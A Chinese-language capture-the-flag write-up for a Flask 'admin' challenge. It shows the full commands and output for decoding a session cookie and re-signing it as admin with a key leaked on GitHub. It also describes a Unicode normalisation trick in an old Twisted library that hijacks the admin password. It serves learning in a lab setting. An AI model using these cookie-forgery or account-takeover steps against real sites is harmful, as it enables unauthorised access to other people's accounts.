基本信息

进去就是login,register,源码里有一句注释

1
<!-- you are not admin -->

随意注册账号登录进去,有一个change password选项,change页面注释github泄漏:

https://github.com/woadsl1234/hctf_flask/

session 伪造

因为题目要求admin,源码也可以看到需要session['name'] == 'admin'后会在页面显示flag,根据p师傅之前的文章:

https://www.leavesongs.com/PENETRATION/client-session-security.html

flask的session都是在本地的,通过一个SECRET_KEY进行签名,可以直接使用脚本进行操作:

https://github.com/noraj/flask-session-cookie-manager

1
2
$ python3 flask_session_manager.py decode -c .eJw9kE2LwjAURf_KkLWLfm4EFx1SSwvvlZZ0QrIRR6s16XOgrUyN-N-nOOD6cs_l3AfbnYZ27Nh6Gm7tiu0uR7Z-sI9vtmYQqBllc1fuEIKrqRRHg6boFKUxEIQgVKg5WhRFB1l-1yYJQeYOeR6poLbKJV7JP0m53NNi2wOlDmTqA1UORBVCVsWaa4u8viBPfCW_CAPsNaU-Ghsp0fXgDg7dOUZSQSlhRpPMWhytzhofTGGR8jtksGHPFTuMw2k3_dj2-lYoeROBaH6XWoym7kAiaYJZma1VAnsI9KKTx1qcI5DFMlJ3WG1euAvtz-2bJAIUZfKfXPe0BGxqx4mt2G1sh9dtzPfY8w9gTmvt.Xb_HBg.KuktGfJY6uvuJvIBeqzZF6Bk5CU
b'{"_fresh":true,"_id":{" b":"M2YxNWUyYzc3MzRmOTdjNjJhYmE5MmM3MTY3ZDNkNTJhMGIyZjA3MWIzNDI4Y2RkYzA0ODBmYzI0ZTFlMmEzMWE1MmQzMTQ3MGQ5ZDZkNDRiNDA1YWVmN2NlZmE1Njk4YThlMzczNzg5NmY2OWMxNjAxZTdkZGU1MjJkNmIyMGM="},"csrf_token":{" b":"ODU4MTUwNjA5NjRhMWNmZmMxYjFkYTNlM2ZhYmI5ZTg4MWJmY2RhNQ=="},"image":{" b":"T2NTOA=="},"name":"test","user_id":"10"}'

可以看到原有的session中name为test,可以尝试将其修改为admin后重新签名,github源码中也有

1
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'

那么就直接尝试使用ckj123作为KEY

1
2
$ python3 flask_session_manager.py encode -t "{'_fresh': True, '_id': b'ca73d01f58fe172c279fdb1026ba1202390ee0e60b049380c8785511afd9560104b61fa487c4bcb293fc463ef1548d3cad028ce1b5ff4922ab5246e4105a0a33', 'csrf_token': b'bcb966803bad1e8b020d5b7cf5e843fb157ef072', 'image': b'Av32', 'name': 'admin', 'user_id': '10'}" -s ckj123                                                                       
.eJxFkE9rwkAUxL9KeWcP-aMXwUNko6TwdllYm769iDUxyUvWQlRiVvzuDULbw8DAwG-YecD-1JeXGpbX_lbOYN8UsHzA2xcsgaI0xkgPmFOotrZDcxzJZ7HKbUucDsi2IZOOKDKvzLqzkySvGxR6gb4ayFexErsQzaa2Ti-koQFNEhDT3bo0UKJguX1n4myBkWUpyNuc7tLouRWSKZ-6uWZrNo3MrZOiHdFN3mSBdLtgYoVk1jV6XMFzBsdLf9pfv9vy_D_ByUYZipRIPLlNi_luTpyMuNUhccGWPzoltLcum2qLznISY7V64Rp3qMo_kv4k_5ucD24K4FC45gwzuF3K_vUbhAE8fwBi-m2U.Xb_MEw._H8R8AAmbOCT1jQg8JQnP7W7Qmo

Unicode欺骗

这个应该是预期解

源码中显示,各种操作前都会对用户名进行自定义的strlower

1
2
3
def strlower(username):
username = nodeprep.prepare(username)
return username

nodeprep.prepare对应的库是

https://github.com/twisted/twisted

requirements.txt中显示Twisted==10.2.0

版本非常老,明显有问题

根据这篇文章

https://tw.saowen.com/a/72b7816b29ef30533882a07a4e1040f696b01e7888d60255ab89d37cf2f18f3e

unicode问题,对于一些特殊字符,nodeprep.prepare会进行如下操作

1
ᴬ -> A -> a

即第一次将其转换为大写,第二次将其转换为小写

那么,攻击链大概就这样

  • 注册用户ᴬdmin
  • 登录用户ᴬdmin,变成Admin
  • 修改密码Admin,更改了admin的密码